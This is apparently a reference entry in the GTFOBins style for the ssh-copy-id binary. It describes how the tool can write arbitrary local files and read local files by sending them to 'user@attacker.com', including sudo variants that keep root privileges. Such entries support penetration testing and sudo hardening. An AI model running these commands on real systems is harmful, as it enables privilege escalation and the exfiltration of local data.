ssh-copy-id

File write

This executable can write data to local files.
  1. CommentThe input file must have the .pub file extension.
    This function can be performed by any unprivileged user.
    ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host

File read

This executable can read data from local files.
  1. CommentThe input file must have the .pub file extension. The file will be copied to ~/.ssh/authorized_keys, otherwise the -t /path/to/output-file option can be used.
    This function can be performed by any unprivileged user.
    ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com